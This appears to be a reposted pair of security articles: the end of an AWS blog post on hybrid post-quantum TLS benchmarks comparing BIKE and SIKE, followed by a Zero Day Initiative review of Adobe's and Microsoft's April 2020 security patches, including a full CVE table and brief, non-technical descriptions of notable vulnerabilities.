uses an optimized implementation in x86-64 assembly when available, and falls back to a portable optimized C implementation otherwise. Key Exchange Algorithm s2n Client Cipher Preference s2n Server Cipher Preference Negotiated Cipher ECDHE Only ELBSecurityPolicy-TLS-1-1-2017-01 KMS-PQ-TLS-1-0-2020-02 ECDHE-RSA-AES256-GCM-SHA384 ECDHE + BIKE1‑CCA‑L1‑R2 KMS-PQ-TLS-1-0-2020-02 KMS-PQ-TLS-1-0-2020-02 ECDHE-BIKE-RSA-AES256-GCM-SHA384 ECDHE + SIKE‑P434‑R2 PQ-SIKE-TEST-TLS-1-0-2020-02 KMS-PQ-TLS-1-0-2020-02 ECDHE-SIKE-RSA-AES256-GCM-SHA384 Table 4 shows the Clients and Servers TLS Cipher Config name used in order to negotiate each Key Exchange Algorithm. Hybrid Post-Quantum TLS Benchmark Methodology Figure 4: Benchmarking Methodology Client/Server Architecture Diagram Our Benchmarks were run with a single client host connecting to a single host running a HTTP web service in a different availability zone within the same AWS Region (us-east-1), through a TCP Load Balancer. We chose to include varying numbers of HTTP requests in our latency benchmarks, rather than TLS Handshakes alone, because customers are unlikely to establish a secure TLS connection and let the connection sit idle performing no work. Customers use TLS connections in order to send and receive data securely, and HTTP web services are one of the most common types of data being secured by TLS. We also chose to place our EC2 server behind a TCP Load Balancer to more closely approximate how an HTTP web service would be deployed in a typical setup. Latency was measured at the client in Java starting from before a TCP connection was established, until after the final HTTP Response was received, and includes all network transfer time. All connections used RSA Certificate Authentication with a 2048-bit key, and ECDHE Key Exchange used the secp256r1 curve. All latency values listed in Tables 1 above were calculated from the median value (50th percentile) from 60 minutes of continuous single-threaded measurements between the EC2 Client and Server. More Info If you’re interested to learn more about post-quantum cryptography check out the following links: NIST Post-Quantum Cryptography European Telecommunications Standards Institute (ETSI) Quantum-Safe Cryptography Hybrid Post-Quantum Encapsulation Methods for TLS 1.2 RFC Draft Conclusion In this blog post, I gave a refresher on hybrid post-quantum TLS, I went over our hybrid post-quantum TLS 1.2 benchmark results, and went over our hybrid post-quantum benchmarking methodology. Our benchmark results found that BIKE and SIKE performed similarly when using s2n’s fastest available implementation on modern CPU’s, but that BIKE performed better than SIKE when both were using their generic C implementation. If you have feedback about this blog post, submit comments in the Comments section below. Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter. Sursa: https://aws.amazon.com/blogs/security/round-2-hybrid-post-quantum-tls-benchmarks/

The April 2020 Security Update Review April 14, 2020 | Dustin Childs April is here, and it brings another cornucopia of security patches from Adobe and Microsoft. Take a break from your regularly scheduled activities and join us as we review the details for security patches for this month. Adobe Patches for April 2020 For April, Adobe released on three patches addressing five CVEs in Adobe ColdFusion, After Effects, and Digital Editions. All CVEs are rated Important and none are listed as being publicly known or under active attack at the time of release. The update for ColdFusion should be on the top of the deployment list as it includes a local privilege escalation (LPE) to go along with an info disclosure and denial-of-service bug. The update for After Effects, reported by ZDI researchers Mat Powell and Michael DePlante, corrects an info disclosure bug. The patch for Digital Editions also corrects a single information disclosure bug. Although there is no update for Flash this month, the window for the final Flash patches is closing as it goes out of support at the end of this year. Microsoft Patches for April 2020 For April, Microsoft released patches for 113 CVEs covering Microsoft Windows, Microsoft Edge (EdgeHTML-based and Chromium-based), ChakraCore, Internet Explorer, Office and Office Services and Web Apps, Windows Defender, Visual Studio, Microsoft Dynamics, Microsoft Apps for Android, and Microsoft Apps for Mac. Of these 113 CVEs, 17 are rated Critical and 96 are rated Important in severity. Twelve of these CVEs were reported through the ZDI program. If you feel like there have been a lot of patches this year, you’re not wrong. Microsoft has seen a 44% increase in the number of CVEs patched between January to April of 2020 compared to the same time period in 2019. Both an increasing number of researchers looking for bugs and an expanding portfolio of supported products likely caused this increase. It will be interesting to see if this pace continues, especially considering Microsoft will pause optional Windows 10 updates starting next month. Three of the bugs addressed this month are listed as being under active attack, and two are listed as being public at the time of release. [NOTE: Microsoft initially listed CVE-2020-0968 a being under active attack. They have since revised this bulletin to note it is not under attack.] Let’s take a closer look at some of the more interesting updates for this month, starting with two of the bugs under active attack. - CVE-2020-1020 – Adobe Font Manager Library Remote Code Execution Vulnerability Initially disclosed back in late March, this bug is one of two reported to be targeting Windows 7 systems. Attackers can use this vulnerability to execute their code on affected systems if they can convince a user to view a specially crafted font. The code would run at the level of the logged-on user. Although the attacks specifically have targeted Windows 7 systems, not all Win7 systems will receive a patch since the OS left support in January of this year. Only those Windows 7 and Server 2008 customers with an ESU license will receive the patch. - CVE-2020-0938 – OpenType Font Parsing Remote Code Execution Vulnerability This bug is associated with the previous vulnerability, although it impacts a different font renderer. It too is listed as being under active attack. Again, an attacker could execute their code on a target system if a user viewed a specially crafted font. We should also note Windows 10 systems are less impacted by these bugs since the code execution would occur in an AppContainer sandbox. Win7 users will also need an ESU license for this patch. - CVE-2020-0993 – Windows DNS Denial of Service VulnerabilityThis patch addresses a Denial-of-Service (DoS) bug in the Windows DNS service. Note that’s the DNS service and not the DNS Server, so client systems are also affected by this vulnerability. An attacker could cause the DNS service to be nonresponsive by sending some specially crafted DNS queries to an affected system. Since there is no code execution involved, the only gets rated as Important. However, considering the damage that could be done by an unauthenticated attacker, this should be high on your test and deploy list. - CVE-2020-0981 – Windows Token Security Feature Bypass Vulnerability It’s not often you see a security feature bypass directly result in a sandbox escape, but that’s exactly what this bug allows. The vulnerability results from Windows improperly handling token relationships. Attackers could abuse this to allow an application with a certain integrity level to execute code at a different – presumably higher – integrity level. The result is a sandbox escape. This only affects Windows 10 version 1903 and higher, so the code is a relatively recent addition. Here’s the full list of CVEs released by Microsoft for April 2020. CVE Title Severity Public Exploited XI - Latest XI - Older Type CVE-2020-1020 Adobe Font Manager Library Remote Code Execution Vulnerability Important Yes Yes 2 0 RCE CVE-2020-0938 OpenType Font Parsing Remote Code Execution Vulnerability Important No Yes 2 0 RCE CVE-2020-1027 Windows Kernel Elevation of Privilege Vulnerability Important No Yes 0 1 EoP CVE-2020-0935 OneDrive for Windows Elevation of Privilege Vulnerability Important Yes No 2 N/A EoP CVE-2020-0969 Chakra Scripting Engine Memory Corruption Vulnerability Critical No No 2 N/A RCE CVE-2020-1022 Dynamics Business Central Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0948 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-0949 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-0950 Media Foundation Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-0907 Microsoft Graphics Components Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0687 Microsoft Graphics Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0927 Microsoft Office SharePoint XSS Vulnerability Critical No No 2 2 XSS CVE-2020-0929 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0931 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0932 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0974 Microsoft SharePoint Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0965 Microsoft Windows Codecs Library Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0970 Scripting Engine Memory Corruption Vulnerability Critical No No 2 N/A RCE CVE-2020-0968 Scripting Engine Memory Corruption Vulnerability Critical No No 1 1 RCE CVE-2020-0967 VBScript Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0910 Windows Hyper-V Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-0942 Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0944 Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1029 Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0784 DirectX Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0888 DirectX Elevation of Privilege Vulnerability Important No No 2 1 EoP CVE-2020-0964 GDI+ Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0889 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0953 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0959 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0960 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0988 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0992 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0994 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0995 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0999 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1008 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0937 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0939 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0945 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0946 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0947 Media Foundation Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0984 Microsoft (MAU) Office Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-1002 Microsoft Defender Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1049 Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability Important No No 2 2 XSS CVE-2020-1050 Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability Important No No 2 2 XSS CVE-2020-1018 Microsoft Dynamics Business Central/NAV Information Disclosure Important No No 2 2 Info CVE-2020-0906 Microsoft Excel Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0979 Microsoft Excel Remote Code Execution Vulnerability Important No No N/A 2 RCE CVE-2020-0982 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0987 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1005 Microsoft Graphics Component Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0961 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0760 Microsoft Office Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0991 Microsoft Office Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0923 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0924 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0925 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0926 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0930 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0933 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0954 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0973 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0978 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-0919 Microsoft Remote Desktop App for Mac Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-1019 Microsoft RMS Sharing App for Mac Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-0920 Microsoft SharePoint Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0971 Microsoft SharePoint Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0972 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0975 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0976 Microsoft SharePoint Spoofing Vulnerability Important No No N/A 2 Spoof CVE-2020-0977 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0899 Microsoft Visual Studio Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1014 Microsoft Windows Update Client Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0980 Microsoft Word Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0943 Microsoft YourPhone Application for Android Authentication Bypass Vulnerability Important No No 2 N/A EoP CVE-2020-1026 MSR JavaScript Cryptography Library Security Feature Bypass Vulnerability Important No No 2 N/A SFB CVE-2020-0966 VBScript Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-0900 Visual Studio Extension Installer Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0956 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0957 Win32k Elevation of Privilege Vulnerability Important No No N/A 1 EoP CVE-2020-0958 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0699 Win32k Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0962 Win32k Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0835 Windows Defender Antimalware Platform Hard Link Elevation of Privilege Vulnerability Important No No 2 N/A EoP CVE-2020-0794 Windows Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-0993 Windows DNS Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-0934 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0983 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1009 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1011 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1015 Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0952 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1004 Windows Graphics Component Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0917 Windows Hyper-V Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0918 Windows Hyper-V Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0913 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1000 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1003 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0955 Windows Kernel Information Disclosure in CPU Memory Access Important No No 2 2 Info CVE-2020-0821 Windows Kernel Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1007 Windows Kernel Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0940 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1001 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1006 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1017 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1016 Windows Push Notification Service Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-0936 Windows Scheduled Task Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0981 Windows Token Security Feature Bypass Vulnerability Important No No 2 2 SFB CVE-2020-0985 Windows Update Stack Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0996 Windows Update Stack Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0895 Windows VBScript Engine Remote Code Execution Vulnerability Important No No 2 2 EoP CVE-2020-1094 Windows Work Folder Service Elevation of Privilege Vulnerability Important No No 2 2 EoP Of the remaining Critical-rated patches, most are related to web browsers or some form of browse-and-own scenario. CVE-2020-0968 is listed as being under active attack, although the Exploit Index rating contradicts that notion. Hopefully, this will get clarified in an upcoming revision. [NOTE: Microsoft has revised the bulletin to remove the active attack designation.] The patches for Media Foundation Server fall into this category as well. Hyper-V also receives a Critical-rated patch for a Guest-to-Host escape. That would have been nice to see during the last Pwn2Own, where it could have won $250,000. Maybe next year. There are a couple of Critical-rated SharePoint bugs fixed this month, including some reported through the ZDI program. We’ll be blogging about the details of these bugs in the coming weeks. Stay tuned. Beyond the code execution bugs, there’s also a cross-site scripting (XSS) bug in SharePoint that stands out. There are 10 SharePoint XSS bugs patched in this release, but only one (CVE-2020-0927) receives a Critical rating. Considering the write-ups for all are identical, it’s not clear why this patch rated higher than the others. Looking at the Important-rated patches, there’s a total of 39 that address some form of Elevation of Privilege (EoP). One of the kernel EoP bugs, CVE-2020-1027, is listed as being under active attack, but only on newer systems. One of these patches represents the other publicly known bug. CVE-2020-0935 fixes a bug in OneDrive that could allow an EoP through symbolic links. Most people won’t need to take any action here as OneDrive has its own updater that periodically checks the OneDrive binary. However, those who are on air-gapped or otherwise restricted networks will need to manually update with the provided binary. Two of the EoP patches impact products rarely seen on Patch Tuesday. The first is a patch for the Microsoft YourPhoneCompanion application for Android. This bug could allow an attacker to read your notifications if they have your device. The second is a patch for the RMS Sharing App for Mac. This one could allow authenticated attackers to load unsigned binaries. The remaining EoP bugs affect a wide array of Windows components, but in almost every case, an attacker would need to log on to an affected system then run a specially crafted application. There are fixes for 16 information disclosure bugs this month. The other most notable addresses a bug in Microsoft Dynamics Business Central. Most info disclosure bugs leak uninitialized memory and must be combined with something else to gain code execution. For this bug (CVE-2020-1018), the vulnerability allows attackers to see information found in an otherwise masked field. Consequently, you could be exposing passwords with this bug. Beyond the previously mentioned XSS bugs in SharePoint, there are also four Spoofing bugs in SharePoint receiving patches in April. These are very similar to the XSS bugs. In both cases, the vulnerabilities get fixed by properly sanitizing web requests. There’s another security feature bypass being fixed, this one in the MSR JavaScript Cryptography Library. A bug in the library’s Elliptic Curve Cryptography (ECC) implementation could allow an attacker to learn information about a server’s private ECC key resulting in a key leakage attack. They could also craft an invalid ECDSA signature that still passes as valid. The release is rounded out by a patch for a DoS bug in Windows that would allow a logged-on user to run a specially crafted application and cause the system to stop responding. This isn’t much of a concern unless multiple users are using the same system at the same time. In that scenario, one attacker could DoS everyone else using the system. There are no new advisories for this month. There is an update to the Windows Servicing Stack, which adds updates for both client and server OS platforms this month. Looking Ahead The next Patch Tuesday falls on May 12, and we’ll return with details and patch analysis then. Until then, happy patching and may all your reboots be smooth and clean! Sursa: https://www.zerodayinitiative.com/blog/2020/4/14/the-april-2020-security-update-review